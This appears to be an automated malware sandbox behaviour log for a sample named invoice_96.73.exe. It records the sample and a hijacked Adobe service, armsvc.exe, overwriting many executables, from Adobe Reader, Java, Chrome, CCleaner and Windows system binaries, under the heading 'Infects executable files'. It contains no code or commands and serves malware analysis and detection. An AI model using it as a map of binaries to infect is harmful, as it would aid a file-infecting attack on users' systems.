Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\CCleaner\CCleaner64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\ssvagent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\ehome\ehsched.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jabswitch.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\rmid.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\ieetwcollector.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\java-rmi.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javacpl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\kinit.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\ktab.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\tnameserv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jp2launcher.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\policytool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\ehome\ehrecvr.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\orbd.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\dllhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jjs.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\servertool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\unpack200.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\sppsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\CCleaner\CCleaner.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
